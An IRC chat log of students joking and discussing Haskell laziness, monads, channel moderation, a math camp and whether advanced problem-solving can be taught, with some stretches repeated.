[2015-03-23T13:56:36-0400] <+awe> JacobEdelman: http://sprunge.us/KDHD
[2015-03-23T13:57:51-0400] <JacobEdelman> awe: lol
[2015-03-23T13:57:55-0400] <JacobEdelman> isn't it amazing?
[2015-03-23T13:58:00-0400] <The_Master> JacobEdelman: very funny
[2015-03-23T13:58:24-0400] <JacobEdelman> The_Master: that was ben's, from 5 years ago
[2015-03-23T13:58:33-0400] <JacobEdelman> look up in the chat to see Talker, my chat bot, from 5 years ago
[2015-03-23T13:58:42-0400] <The_Master> JacobEdelman: I know.
[2015-03-23T13:59:11-0400] <The_Master> JacobEdelman: talker is terrible
[2015-03-23T13:59:21-0400] <The_Master> those variables
[2015-03-23T13:59:31-0400] <JacobEdelman> its beauty incarnated!
[2015-03-23T13:59:52-0400] <JacobEdelman> (also, according to one programming language I was designing around that time, they are called "varibles", not "variables")
[2015-03-23T14:02:24-0400] <JacobEdelman> The_Master: I have an old dnd character of yours here!
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[2015-03-23T15:26:25-0400] <z3t> /back
[2015-03-23T15:40:49-0400] <grantwu> Q.Q
[2015-03-23T15:41:09-0400] <grantwu> Had a student in lab who knew Haskell and used xmonad as his window manager
[2015-03-23T15:41:15-0400] <grantwu> Wrote really bad recursive code
[2015-03-23T15:41:23-0400] <grantwu> "YOU KNOW HASKELL WHY IS YOUR CODE SO BAD"
[2015-03-23T15:41:32-0400] <grantwu> "All I know is list comprehensions"
[2015-03-23T15:49:59-0400] <grantwu> Is there any reason to use CGI anymore
[2015-03-23T15:51:38-0400] <z3t> common gateway interface or computer generated imagery?
[2015-03-23T15:52:30-0400] <grantwu> The former
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[2015-03-23T16:30:44-0400] <+awe> grantwu: how does someone use haskell and only know list comprehensions?
[2015-03-23T16:36:09-0400] <grantwu> You tell me.
[2015-03-23T16:37:58-0400] <+awe> I don't get it at all.
[2015-03-23T16:38:07-0400] <+awe> List comprehensions are so much weaker than everything else.
[2015-03-23T16:41:42-0400] <grantwu> ¯\_(ツ)_/¯
[2015-03-23T16:54:01-0400] <nezorg> yeah man, monad comprehensions are where it's at
[2015-03-23T16:57:31-0400] <+awe> nezorg: write generic monad comprehensions with liftM :)
[2015-03-23T16:57:42-0400] <+awe> I think it was liftM anyway that I used to do it.
[2015-03-23T16:57:43-0400] <+awe> I forget.
[2015-03-23T16:58:28-0400] <+awe> I think it was liftM + recursion.
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[2015-03-23T17:20:13-0400] <JacobEdelman> could I achieve a similar effect too having a monad by making it so function application changed depending on the context?
[2015-03-23T17:20:30-0400] <JacobEdelman> (for instance, I could make it so a state value was automatically passed between functions)
[2015-03-23T17:20:41-0400] <grantwu> that sounds like an imperative language lulz
[2015-03-23T17:20:55-0400] <JacobEdelman> grantwu: I'm just using an example of one use of a monad
[2015-03-23T17:21:06-0400] <JacobEdelman> grantwu: but does the idea look right overall?
[2015-03-23T17:21:28-0400] <grantwu> I have no idea.  I still don't know what a monad is.
[2015-03-23T17:25:53-0400] <+awe> JacobEdelman: not at all.
[2015-03-23T17:26:10-0400] <+awe> JacobEdelman: that's just an imperative language where you can override function application.
[2015-03-23T17:26:24-0400] <JacobEdelman> ignore the for instance bit
[2015-03-23T17:26:32-0400] <JacobEdelman> could I achieve a similar effect too having a monad by making it so function application changed depending on the context?
[2015-03-23T17:27:09-0400] <+awe> Not at all.
[2015-03-23T17:27:16-0400] <+awe> That's just an imperative language where you can override function application.
[2015-03-23T17:28:30-0400] <JacobEdelman> wait, how is it imperative?
[2015-03-23T17:28:35-0400] <JacobEdelman> I can still say its functional
[2015-03-23T17:29:01-0400] <JacobEdelman> and you can just execute blocks of code in certain places with specific modifications of how function application works
[2015-03-23T17:29:13-0400] <+awe> Being able to override function application doesn't make any sense in the context of a functional language.
[2015-03-23T17:29:25-0400] <JacobEdelman> lets say its a weird functional language
[2015-03-23T17:29:35-0400] <JacobEdelman> call it, "jacobisinsane"
[2015-03-23T17:29:43-0400] <+awe> And the idea of code getting executed in a certain place is strictly imperative.
[2015-03-23T17:34:35-0400] <JacobEdelman> ....
[2015-03-23T17:34:50-0400] <JacobEdelman> ..... pretend I'm crazy
[2015-03-23T17:34:54-0400] <JacobEdelman> and I did this anyway
[2015-03-23T17:35:01-0400] <JacobEdelman> would it achieve and effect similar to a monad?
[2015-03-23T17:35:05-0400] <JacobEdelman> "pretend"
[2015-03-23T17:35:07-0400] <JacobEdelman> :P
[2015-03-23T18:33:53-0400] <grantwu> Holy crappp
[2015-03-23T18:33:56-0400] <grantwu> This assignment is so long
[2015-03-23T18:34:26-0400] <grantwu> Someone kill me
[2015-03-23T18:35:56-0400] <ubuntor> why does radare2 have 2048
[2015-03-23T18:37:11-0400] <JacobEdelman> grantwu: would you lie your assisination to be premium or regular tier?
[2015-03-23T18:37:23-0400] <grantwu> I don't want an assisination
[2015-03-23T19:02:10-0400] <grantwu> awe: Is there a way to treat a function as a list in Haskell?
[2015-03-23T19:02:57-0400] <grantwu> Such that like the ith element is f i 
[2015-03-23T19:06:19-0400] <JacobEdelman> grantwu: "6:33 PM <grantwu> Someone kill me"
[2015-03-23T19:06:26-0400] <JacobEdelman> grantwu: you can't unorder an assination
[2015-03-23T19:06:34-0400] <JacobEdelman> grantwu: now pick, regular or premium?
[2015-03-23T19:09:33-0400] <grantwu> I don't want an "assisnation"
[2015-03-23T19:09:38-0400] <grantwu> sorry
[2015-03-23T19:09:43-0400] <grantwu> an "assination"
[2015-03-23T19:09:58-0400] <grantwu> Nor an "assisination"
[2015-03-23T19:10:00-0400] <grantwu> hue
[2015-03-23T19:11:07-0400] <+awe> grantwu: uhh, yes.
[2015-03-23T19:11:11-0400] <+awe> grantwu: repeat f
[2015-03-23T19:12:08-0400] <grantwu> Er, http://hackage.haskell.org/package/base-4.7.0.2/docs/Data-List.html#v:repeat ?
[2015-03-23T19:12:21-0400] <+awe> Yeah.
[2015-03-23T19:12:47-0400] <+awe> But there's probably a better way to do whatever it is you're doing.
[2015-03-23T19:13:03-0400] <grantwu> Doesn't that make a list of functions, all equal to f?
[2015-03-23T19:13:20-0400] <+awe> OH, I get what you want.
[2015-03-23T19:13:25-0400] <+awe> map f [1..]
[2015-03-23T19:13:43-0400] <+awe> or uhh, I guess since lists are zero indexed.
[2015-03-23T19:13:44-0400] <+awe> map f [0..]
[2015-03-23T19:13:49-0400] <grantwu> Right so I'm a bit interested in how lazy that is
[2015-03-23T19:14:01-0400] <grantwu> like uh
[2015-03-23T19:14:09-0400] <+awe> Completely lazy.
[2015-03-23T19:14:22-0400] <grantwu> er I don't think I'm communicating well
[2015-03-23T19:14:38-0400] <+awe> map f [0..] !! 10 would only calculate f 10.
[2015-03-23T19:15:07-0400] <grantwu> If I try to get the first 10 elements of map f [0..]
[2015-03-23T19:15:15-0400] <grantwu> Does it actually build that in memory?
[2015-03-23T19:15:36-0400] <+awe> If you actually use them, e.g. to print, yeah.
[2015-03-23T19:15:49-0400] <+awe> take 10 $ map f [0..]
[2015-03-23T19:15:58-0400] <nezorg> i think he meant does it build the list
[2015-03-23T19:16:10-0400] <nezorg> and i think the answer is "not necessarily"
[2015-03-23T19:16:14-0400] <+awe> Well, yeah.
[2015-03-23T19:16:19-0400] <+awe> The answer is only yes if you use it like a list.
[2015-03-23T19:16:28-0400] <grantwu> What do you mean use it like a list o.O
[2015-03-23T19:16:42-0400] <+awe> print . take 10 $ map f [0..]
[2015-03-23T19:16:46-0400] <+awe> that would build a list.
[2015-03-23T19:16:55-0400] <+awe> Because it needs to be printed as a list.
[2015-03-23T19:17:30-0400] <+awe> But if you had something like foo = take 10 . flip map [0..]
[2015-03-23T19:17:37-0400] <+awe> and then 
[2015-03-23T19:17:55-0400] <+awe> print $ foo f !! 9
[2015-03-23T19:17:59-0400] <+awe> print $ foo f !! 10
[2015-03-23T19:18:08-0400] <+awe> It would basically just do f 9 and f 10.
[2015-03-23T19:19:54-0400] <grantwu> all (fn (x, y) => x = y) (zip (take 10 (map f [0..]) (take 10 (map g [0..])))
[2015-03-23T19:20:01-0400] <grantwu> Uh, forgive my mix of SML and Haskell
[2015-03-23T19:20:08-0400] <grantwu> I wonder if I can do that without every building the list structure
[2015-03-23T19:20:42-0400] <grantwu> *ver
[2015-03-23T19:20:43-0400] <grantwu> *ever
[2015-03-23T19:21:34-0400] <grantwu> all takes a predicate and checks if it's true over every element of a list
[2015-03-23T19:21:39-0400] <grantwu> dunno what the Haskell equivalent is
[2015-03-23T19:21:42-0400] <+awe> Yes, all exists in haskell.
[2015-03-23T19:22:28-0400] <grantwu> Okay
[2015-03-23T19:22:38-0400] <grantwu> Yeah, I'm wondering how lazily I can do this...
[2015-03-23T19:22:39-0400] <+awe> all (==) zip $ (take 10 $ map f [0..]) $ take 10 $ map f [0..]
[2015-03-23T19:22:58-0400] <grantwu> Yeah that
[2015-03-23T19:23:10-0400] <grantwu> $ probably does something with precedence/grouping, hrm
[2015-03-23T19:23:13-0400] <+awe> It does.
[2015-03-23T19:23:16-0400] <+awe> It's right associative
[2015-03-23T19:23:22-0400] <+awe> that's equivalent to
[2015-03-23T19:23:52-0400] <+awe> all (==) (zip (take 10 (map f [0..])) (take 10 (map g [0..])))
[2015-03-23T19:23:57-0400] <+awe> I missed a . in the first one though
[2015-03-23T19:23:59-0400] <+awe> all (==) . zip ...
[2015-03-23T19:24:42-0400] <grantwu> Hrm that's cool.  I know there's some way to make SML lazy, but it requires you to basically implement it.
[2015-03-23T19:26:24-0400] <grantwu> I basically need to check function equality for 0 through n exclusive, and was thinking about how to do it with higher order functions
[2015-03-23T19:26:42-0400] <grantwu> It's inefficient in SML, though, because SML will actually build the list.
[2015-03-23T19:27:02-0400] <grantwu> This is mainly motivated by the fact that I need to write test cases for every function I write, so I'm trying to avoid writing functions T.T
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[2015-03-23T19:13:03-0400] <grantwu> Doesn't that make a list of functions, all equal to f?
[2015-03-23T19:13:20-0400] <+awe> OH, I get what you want.
[2015-03-23T19:13:24-0400] <+awe> map f [1..]
[2015-03-23T19:13:43-0400] <+awe> or uhh, I guess since lists are zero indexed.
[2015-03-23T19:13:44-0400] <+awe> map f [0..]
[2015-03-23T19:13:49-0400] <grantwu> Right so I'm a bit interested in how lazy that is
[2015-03-23T19:14:01-0400] <grantwu> like uh
[2015-03-23T19:14:09-0400] <+awe> Completely lazy.
[2015-03-23T19:14:22-0400] <grantwu> er I don't think I'm communicating well
[2015-03-23T19:14:38-0400] <+awe> map f [0..] !! 10 would only calculate f 10.
[2015-03-23T19:15:07-0400] <grantwu> If I try to get the first 10 elements of map f [0..]
[2015-03-23T19:15:15-0400] <grantwu> Does it actually build that in memory?
[2015-03-23T19:15:36-0400] <+awe> If you actually use them, e.g. to print, yeah.
[2015-03-23T19:15:49-0400] <+awe> take 10 $ map f [0..]
[2015-03-23T19:15:58-0400] <nezorg> i think he meant does it build the list
[2015-03-23T19:16:10-0400] <nezorg> and i think the answer is "not necessarily"
[2015-03-23T19:16:14-0400] <+awe> Well, yeah.
[2015-03-23T19:16:19-0400] <+awe> The answer is only yes if you use it like a list.
[2015-03-23T19:16:28-0400] <grantwu> What do you mean use it like a list o.O
[2015-03-23T19:16:42-0400] <+awe> print . take 10 $ map f [0..]
[2015-03-23T19:16:46-0400] <+awe> that would build a list.
[2015-03-23T19:16:55-0400] <+awe> Because it needs to be printed as a list.
[2015-03-23T19:17:30-0400] <+awe> But if you had something like foo = take 10 . flip map [0..]
[2015-03-23T19:17:37-0400] <+awe> and then 
[2015-03-23T19:17:55-0400] <+awe> print $ foo f !! 9
[2015-03-23T19:17:58-0400] <+awe> print $ foo f !! 10
[2015-03-23T19:18:08-0400] <+awe> It would basically just do f 9 and f 10.
[2015-03-23T19:19:54-0400] <grantwu> all (fn (x, y) => x = y) (zip (take 10 (map f [0..]) (take 10 (map g [0..])))
[2015-03-23T19:20:00-0400] <grantwu> Uh, forgive my mix of SML and Haskell
[2015-03-23T19:20:08-0400] <grantwu> I wonder if I can do that without every building the list structure
[2015-03-23T19:20:42-0400] <grantwu> *ver
[2015-03-23T19:20:43-0400] <grantwu> *ever
[2015-03-23T19:21:34-0400] <grantwu> all takes a predicate and checks if it's true over every element of a list
[2015-03-23T19:21:39-0400] <grantwu> dunno what the Haskell equivalent is
[2015-03-23T19:21:42-0400] <+awe> Yes, all exists in haskell.
[2015-03-23T19:22:28-0400] <grantwu> Okay
[2015-03-23T19:22:38-0400] <grantwu> Yeah, I'm wondering how lazily I can do this...
[2015-03-23T19:22:39-0400] <+awe> all (==) zip $ (take 10 $ map f [0..]) $ take 10 $ map f [0..]
[2015-03-23T19:22:58-0400] <grantwu> Yeah that
[2015-03-23T19:23:10-0400] <grantwu> $ probably does something with precedence/grouping, hrm
[2015-03-23T19:23:13-0400] <+awe> It does.
[2015-03-23T19:23:16-0400] <+awe> It's right associative
[2015-03-23T19:23:22-0400] <+awe> that's equivalent to
[2015-03-23T19:23:52-0400] <+awe> all (==) (zip (take 10 (map f [0..])) (take 10 (map g [0..])))
[2015-03-23T19:23:57-0400] <+awe> I missed a . in the first one though
[2015-03-23T19:23:59-0400] <+awe> all (==) . zip ...
[2015-03-23T19:24:42-0400] <grantwu> Hrm that's cool.  I know there's some way to make SML lazy, but it requires you to basically implement it.
[2015-03-23T19:26:24-0400] <grantwu> I basically need to check function equality for 0 through n exclusive, and was thinking about how to do it with higher order functions
[2015-03-23T19:26:42-0400] <grantwu> It's inefficient in SML, though, because SML will actually build the list.
[2015-03-23T19:27:02-0400] <grantwu> This is mainly motivated by the fact that I need to write test cases for every function I write, so I'm trying to avoid writing functions T.T
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[2015-03-23T20:29:07-0400] <hardmath123> Ok so the 7th grade genius girl infiltrated #gunn and turned it into a relationship advice channel. -_-
[2015-03-23T20:29:12-0400] <hardmath123> I dunno what to do.
[2015-03-23T20:30:25-0400] <grantwu> #gunn where?
[2015-03-23T20:30:32-0400] <hardmath123> freenode
[2015-03-23T20:30:48-0400] <Hyper> hardmath123: banhammer :)
[2015-03-23T20:32:00-0400] <hardmath123> grantwu: small community; i don't want to have too many outside folk
[2015-03-23T20:32:14-0400] <hardmath123> Hyper: i don't want to ban people who aren't intentionally annoying.
[2015-03-23T20:32:25-0400] <Hyper> :(
[2015-03-23T20:32:42-0400] <Hyper> perhaps say something like "hey, this isn't really a relationship advice channel"
[2015-03-23T20:34:08-0400] <grantwu> Alyssa took it upon herself to advise me that it wasn't a relationship advice channel
[2015-03-23T20:38:09-0400] <Tamini> lol
[2015-03-23T20:38:22-0400] <Tamini> give her relationship advice.
[2015-03-23T20:39:24-0400] <hardmath123> I'm trying to maintain a smart-people-discuss-CS channel, but I don't want to constrain speech on the channel.
[2015-03-23T20:40:08-0400] <bob_twinkles> hardmath123: so say "please take relationship advice to #gunn-relationships" or something like that
[2015-03-23T20:40:20-0400] <bob_twinkles> that usually works pretty well IME for small channels
[2015-03-23T20:40:46-0400] <bob_twinkles> since it keeps "noise" out of the main channel without getting people mad about constrained speech 
[2015-03-23T20:41:43-0400] <bob_twinkles> 'course you sometimes have to remind people that there's an -offtopic/-relationship/-whatever channel, but usually if your community isn't shit that works out
[2015-03-23T20:43:11-0400] <grantwu> Tamini: I have no idea what her relationship problems are, and my relationship advice isn't very good.
[2015-03-23T20:43:42-0400] <Tamini> grantwu: :P
[2015-03-23T20:43:50-0400] <Tamini> most relationship advice isnt very good
[2015-03-23T20:43:58-0400] <Tamini> it just takes the pressure off of you from having to actually decide
[2015-03-23T20:44:15-0400] <hardmath123> i'm pretty sure she doesn't actually have problems :P
[2015-03-23T20:44:32-0400] <Tamini> :P oh
[2015-03-23T20:44:40-0400] <Hyper> hardmath123: that's the best time to give bad advice!
[2015-03-23T20:49:07-0400] <Tamini> convince her that she DOES have problems in her relationship! :P
[2015-03-23T20:49:35-0400] <sdamashek> Tamini pls
[2015-03-23T20:49:47-0400] <grantwu> ^
[2015-03-23T20:49:49-0400] <Tamini> sdamashek: whaaat
[2015-03-23T20:49:52-0400] <Tamini> its perfectly good advice.
[2015-03-23T20:51:03-0400] <hardmath123> o wait
[2015-03-23T20:51:08-0400] <hardmath123> let me get this straight
[2015-03-23T20:51:18-0400] <hardmath123> you're giving me advice on how to give someone advice about problems they don't have
[2015-03-23T20:51:33-0400] <hardmath123> and your advice is to convince them that they do have problems
[2015-03-23T20:51:36-0400] <Hyper> damn right
[2015-03-23T20:51:43-0400] <hardmath123> remind me NEVER to ask you for advice again :P
[2015-03-23T20:51:51-0400] <Tamini> wow 
[2015-03-23T20:51:54-0400] <Tamini> but i give perfect advice
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[2015-03-23T21:03:08-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-03-23T19:22:58-0400] <grantwu> Yeah that
[2015-03-23T19:23:10-0400] <grantwu> $ probably does something with precedence/grouping, hrm
[2015-03-23T19:23:13-0400] <+awe> It does.
[2015-03-23T19:23:16-0400] <+awe> It's right associative
[2015-03-23T19:23:22-0400] <+awe> that's equivalent to
[2015-03-23T19:23:52-0400] <+awe> all (==) (zip (take 10 (map f [0..])) (take 10 (map g [0..])))
[2015-03-23T19:23:57-0400] <+awe> I missed a . in the first one though
[2015-03-23T19:23:59-0400] <+awe> all (==) . zip ...
[2015-03-23T19:24:42-0400] <grantwu> Hrm that's cool.  I know there's some way to make SML lazy, but it requires you to basically implement it.
[2015-03-23T19:26:24-0400] <grantwu> I basically need to check function equality for 0 through n exclusive, and was thinking about how to do it with higher order functions
[2015-03-23T19:26:42-0400] <grantwu> It's inefficient in SML, though, because SML will actually build the list.
[2015-03-23T19:27:02-0400] <grantwu> This is mainly motivated by the fact that I need to write test cases for every function I write, so I'm trying to avoid writing functions T.T
[2015-03-23T20:29:07-0400] <hardmath123> Ok so the 7th grade genius girl infiltrated #gunn and turned it into a relationship advice channel. -_-
[2015-03-23T20:29:12-0400] <hardmath123> I dunno what to do.
[2015-03-23T20:30:25-0400] <grantwu> #gunn where?
[2015-03-23T20:30:33-0400] <hardmath123> freenode
[2015-03-23T20:30:48-0400] <Hyper> hardmath123: banhammer :)
[2015-03-23T20:32:01-0400] <hardmath123> grantwu: small community; i don't want to have too many outside folk
[2015-03-23T20:32:15-0400] <hardmath123> Hyper: i don't want to ban people who aren't intentionally annoying.
[2015-03-23T20:32:25-0400] <Hyper> :(
[2015-03-23T20:32:43-0400] <Hyper> perhaps say something like "hey, this isn't really a relationship advice channel"
[2015-03-23T20:34:09-0400] <grantwu> Alyssa took it upon herself to advise me that it wasn't a relationship advice channel
[2015-03-23T20:38:09-0400] <Tamini> lol
[2015-03-23T20:38:23-0400] <Tamini> give her relationship advice.
[2015-03-23T20:39:24-0400] <hardmath123> I'm trying to maintain a smart-people-discuss-CS channel, but I don't want to constrain speech on the channel.
[2015-03-23T20:40:09-0400] <bob_twinkles> hardmath123: so say "please take relationship advice to #gunn-relationships" or something like that
[2015-03-23T20:40:20-0400] <bob_twinkles> that usually works pretty well IME for small channels
[2015-03-23T20:40:47-0400] <bob_twinkles> since it keeps "noise" out of the main channel without getting people mad about constrained speech 
[2015-03-23T20:41:44-0400] <bob_twinkles> 'course you sometimes have to remind people that there's an -offtopic/-relationship/-whatever channel, but usually if your community isn't shit that works out
[2015-03-23T20:43:11-0400] <grantwu> Tamini: I have no idea what her relationship problems are, and my relationship advice isn't very good.
[2015-03-23T20:43:42-0400] <Tamini> grantwu: :P
[2015-03-23T20:43:51-0400] <Tamini> most relationship advice isnt very good
[2015-03-23T20:43:58-0400] <Tamini> it just takes the pressure off of you from having to actually decide
[2015-03-23T20:44:16-0400] <hardmath123> i'm pretty sure she doesn't actually have problems :P
[2015-03-23T20:44:32-0400] <Tamini> :P oh
[2015-03-23T20:44:41-0400] <Hyper> hardmath123: that's the best time to give bad advice!
[2015-03-23T20:49:07-0400] <Tamini> convince her that she DOES have problems in her relationship! :P
[2015-03-23T20:49:35-0400] <sdamashek> Tamini pls
[2015-03-23T20:49:47-0400] <grantwu> ^
[2015-03-23T20:49:49-0400] <Tamini> sdamashek: whaaat
[2015-03-23T20:49:52-0400] <Tamini> its perfectly good advice.
[2015-03-23T20:51:04-0400] <hardmath123> o wait
[2015-03-23T20:51:08-0400] <hardmath123> let me get this straight
[2015-03-23T20:51:18-0400] <hardmath123> you're giving me advice on how to give someone advice about problems they don't have
[2015-03-23T20:51:33-0400] <hardmath123> and your advice is to convince them that they do have problems
[2015-03-23T20:51:36-0400] <Hyper> damn right
[2015-03-23T20:51:43-0400] <hardmath123> remind me NEVER to ask you for advice again :P
[2015-03-23T20:51:51-0400] <Tamini> wow 
[2015-03-23T20:51:55-0400] <Tamini> but i give perfect advice
[2015-03-23T21:03:04-0400] <grantwu> No you don't
[2015-03-23T21:03:10-0400] Mode is +nt
[2015-03-23T21:03:11-0400] <grantwu> huehuehue
[2015-03-23T21:03:45-0400] <Tamini> yes i dooo
[2015-03-23T21:03:52-0400] <Tamini> you don't know me! :P
[2015-03-23T21:04:44-0400] <grantwu> hardmath123: Does Tamini give perfect advice?
[2015-03-23T21:05:26-0400] <hardmath123> grantwu: she'd better, my happiness during summer vaction depends on it.
[2015-03-23T21:05:43-0400] <grantwu> What are you doing during summer vacation?
[2015-03-23T21:06:19-0400] <hardmath123> Going, computerless, to the middle of nowhere to Learn Math the Hard Way (tm).
[2015-03-23T21:06:26-0400] <grantwu> Wair?
[2015-03-23T21:06:38-0400] <grantwu> Why would you want to learn math the hard way?
[2015-03-23T21:06:49-0400] <grantwu> Wouldn't you want to Learn Math the Right Way (tm)
[2015-03-23T21:06:56-0400] <hardmath123> Because Tamini advised me thusly!
[2015-03-23T21:07:14-0400] <grantwu> Hmm her advice seems quite imperfect already
[2015-03-23T21:08:24-0400] <Tamini> it'll be fun
[2015-03-23T21:08:27-0400] <Tamini> we can hang out and do math
[2015-03-23T21:08:39-0400] <grantwu> Where is this?
[2015-03-23T21:09:57-0400] <hardmath123> On your head be it.
[2015-03-23T21:10:39-0400] <Tamini> ROSS
[2015-03-23T21:10:41-0400] <Tamini> math camp
[2015-03-23T21:10:47-0400] <Tamini> I had a lot of fun being asocial and doing math
[2015-03-23T21:10:48-0400] <Tamini> :D
[2015-03-23T21:13:25-0400] <grantwu> Yay
[2015-03-23T21:13:30-0400] <grantwu> Being asocial is awsum
[2015-03-23T21:13:53-0400] <grantwu> asocial != socially awkward
[2015-03-23T21:16:26-0400] <sdamashek> lol, perfect advice :P
[2015-03-23T21:16:40-0400] <sdamashek> I mean, please don't lose me in korea
[2015-03-23T21:17:17-0400] <z3t> Every time I glance at this channel I see the word "social" somewhere
[2015-03-23T21:18:15-0400] <Tamini> sdamashek: i won't lose you accidentally.
[2015-03-23T21:18:24-0400] <grantwu> She'll lose you on purpose.
[2015-03-23T21:18:28-0400] <grantwu> She's asocial
[2015-03-23T21:19:12-0400] <jwoglom> of course :P
[2015-03-23T21:20:02-0400] <Tamini> I'll try not to
[2015-03-23T21:20:21-0400] <jwoglom> saying you'll try to not is different from saying you won't
[2015-03-23T21:22:06-0400] <sdamashek> you'll try not to lose me on purpose
[2015-03-23T21:22:11-0400] <Tamini> eys
[2015-03-23T21:22:13-0400] <Tamini> correct
[2015-03-23T21:24:20-0400] <grantwu> How to prepare for interview
[2015-03-23T21:24:22-0400] <grantwu> qaq
[2015-03-23T21:24:45-0400] <jwoglom> watch "the interview"
[2015-03-23T21:24:49-0400] <jwoglom> will totally prepare you
[2015-03-23T21:25:12-0400] <sdamashek> ^
[2015-03-23T21:27:09-0400] <Hyper> jwoglom: some friends and I decided to watch the interview the other night
[2015-03-23T21:27:20-0400] <Hyper> 0/10 would not recommend
[2015-03-23T21:27:28-0400] <jwoglom> i actually haven't seen it
[2015-03-23T21:27:28-0400] <grantwu> jwoglom: pls.
[2015-03-23T21:27:32-0400] <+awe> Hyper: it's awful, yeah.
[2015-03-23T21:27:41-0400] <sdamashek> I have, it was pretty meh
[2015-03-23T21:27:52-0400] <jwoglom> but hey, it showed that people will buy movies online on release day, right? :P
[2015-03-23T21:28:13-0400] <sdamashek> mhm!
[2015-03-23T21:28:14-0400] <jwoglom> i mean, it was seth rogan, you shouldn't have exactly had high expectations going in
[2015-03-23T21:28:16-0400] <Tamini> lol
[2015-03-23T21:28:20-0400] <Tamini> alokpathy and i watched it together
[2015-03-23T21:28:23-0400] <grantwu> daw
[2015-03-23T21:28:24-0400] <+awe> jwoglom: nope, every movie he's ever been in is awful.
[2015-03-23T21:28:27-0400] <Tamini> it was sorta amusing, i guess
[2015-03-23T21:28:33-0400] <Tamini> but not good by any means
[2015-03-23T21:28:49-0400] <grantwu> Anyways hwat do.
[2015-03-23T21:29:14-0400] <jwoglom> memorize the internet
[2015-03-23T21:29:17-0400] <jwoglom> then you'll know everything!
[2015-03-23T21:29:26-0400] <grantwu> pls.
[2015-03-23T21:30:23-0400] <+awe> grantwu: walk in, tell them to hire you, and then poop on their desk.
[2015-03-23T21:30:35-0400] <jwoglom> it shows your dominance!
[2015-03-23T21:30:53-0400] <JacobEdelman> pop quiz, do you guys think that the problem solving ability needed for programming/math/physics abilities of a very high degree can be taught?
[2015-03-23T21:31:03-0400] <+awe> Yes.
[2015-03-23T21:31:30-0400] <JacobEdelman> aka: can you teach people how to think if they can't get such very advanced concepts on their own
[2015-03-23T21:31:31-0400] <jwoglom> i would say you learn it, it doesn't just appear magically, so..yes?
[2015-03-23T21:31:34-0400] <JacobEdelman> awe: why?
[2015-03-23T21:32:05-0400] <JacobEdelman> jwoglom: well... its just that I know lots of people who work extremely hard, and are fairly smart
[2015-03-23T21:32:23-0400] <Hyper> JacobEdelman: I think it can be learned
[2015-03-23T21:32:35-0400] <JacobEdelman> but I don't think they could really do as well at theoretical cs at an extremely high level
[2015-03-23T21:32:57-0400] <JacobEdelman> one sec
[2015-03-23T21:33:47-0400] <+awe> I've had a lot of trouble doing certain proofs in my probability class, and then after being shown some of them, I've been able to figure out how to do others.
[2015-03-23T21:33:54-0400] <JacobEdelman> so, too clarify
[2015-03-23T21:34:06-0400] <JacobEdelman> I do think it can be taught at a sufficientlly young age
[2015-03-23T21:34:17-0400] <JacobEdelman> but I am more skeptical about whether it can be taught, in say, college
[2015-03-23T21:34:38-0400] <grantwu> I think it can be taught.
[2015-03-23T21:34:53-0400] <grantwu> Of course, you can't make a dijkstra out of everyone.
[2015-03-23T21:34:59-0400] <JacobEdelman> awe: yes, but you, quiet frankly, have the innate talent to do so
[2015-03-23T21:35:03-0400] <+awe> No.
[2015-03-23T21:35:07-0400] <+awe> I don't.
[2015-03-23T21:35:11-0400] <JacobEdelman> yes, yes you do
[2015-03-23T21:35:14-0400] <+awe> There's no such thing as "innate talent."
[2015-03-23T21:35:16-0400] <Hyper> yeah, I think that's incredibly skeptical, and comes from your bias of having learned this at a very young age
[2015-03-23T21:35:34-0400] <JacobEdelman> Hyper: wait, what are you refering too?
[2015-03-23T21:35:37-0400] <+awe> You don't just magically know how those sorts of things. You learn them.
[2015-03-23T21:35:40-0400] <Hyper> JacobEdelman: you
[2015-03-23T21:36:01-0400] <JacobEdelman> so wait, clarify what are you saying Hyper?
[2015-03-23T21:36:05-0400] <+awe> He's referring to the fact that you learned many difficult things at a young age.
[2015-03-23T21:36:20-0400] <grantwu> I think some learning is not classroom learning.
[2015-03-23T21:36:22-0400] <+awe> And to be clear, that's not because you're special and smart, it's because you're wealthy.
[2015-03-23T21:36:25-0400] <JacobEdelman> well... that might be true
[2015-03-23T21:36:36-0400] <+awe> You were given the opportunities to learn those things.
[2015-03-23T21:36:46-0400] <Hyper> I'm saying you can learn it, say, in college, and you have a lot of bias as somebody who learned these things young
[2015-03-23T21:37:44-0400] <JacobEdelman> Hyper: I didn't say you can't learn it, I just said you form the capability to do so when you are relatively young
[2015-03-23T21:38:31-0400] <JacobEdelman> awe: true....
[2015-03-23T21:39:00-0400] <JacobEdelman> awe: but I think that somebody without my privelleged background who did not form such learning abilities at a young age
[2015-03-23T21:39:08-0400] <JacobEdelman> awe: would not be capable of doing what I did
[2015-03-23T21:39:56-0400] <bob_twinkles> a lot of it is motivation too
[2015-03-23T21:40:08-0400] <bob_twinkles> if you don't feel rewarded by solving hard problems, you don't solve hard problems
[2015-03-23T21:40:19-0400] <+awe> bob_twinkles: and where do you learn motivation?
[2015-03-23T21:40:24-0400] • bob_twinkles: shrugs
[2015-03-23T21:40:29-0400] <JacobEdelman> bob_twinkles: yes, but I'm arguing that you get that motivation when you are young
[2015-03-23T21:40:30-0400] <+awe> It's environmental.
[2015-03-23T21:40:34-0400] <+awe> Sure.
[2015-03-23T21:40:36-0400] <JacobEdelman> yes, I agree
[2015-03-23T21:40:37-0400] <+awe> But not from learning things.
[2015-03-23T21:40:42-0400] <JacobEdelman> ?
[2015-03-23T21:40:44-0400] <+awe> You get that motivation from having a family who believes in you.
[2015-03-23T21:40:48-0400] <bob_twinkles> if I could tell you that, not only would I be famous, I would be wealthy
[2015-03-23T21:40:52-0400] <JacobEdelman> that may be a signifcant part
[2015-03-23T21:40:52-0400] <+awe> And from having a society around you that believes in you.
[2015-03-23T21:41:09-0400] <JacobEdelman> bob_twinkles: no... if you could tell us that AND get us to believe you were right 
[2015-03-23T21:41:15-0400] <JacobEdelman> awe: maybe
[2015-03-23T21:41:28-0400] <bob_twinkles> you can create that kind of environment in a classroom to some extent
[2015-03-23T21:41:32-0400] <+awe> You can actually witness that. People have done studies like that.
[2015-03-23T21:41:34-0400] <+awe> bob_twinkles: absolutely.
[2015-03-23T21:41:37-0400] <JacobEdelman> awe: there are numerous counter examples here
[2015-03-23T21:42:01-0400] <bob_twinkles> it tends to be really hard though, and require a similarly motivated instructor
[2015-03-23T21:42:03-0400] <JacobEdelman> according to society many many of us could have gone either useless drop out bumb who couldn't focus or brillant prof.
[2015-03-23T21:42:04-0400] <+awe> Children who are brought up being told that they're special and intelligent and bound for success are actually measurably more likely to be successful.
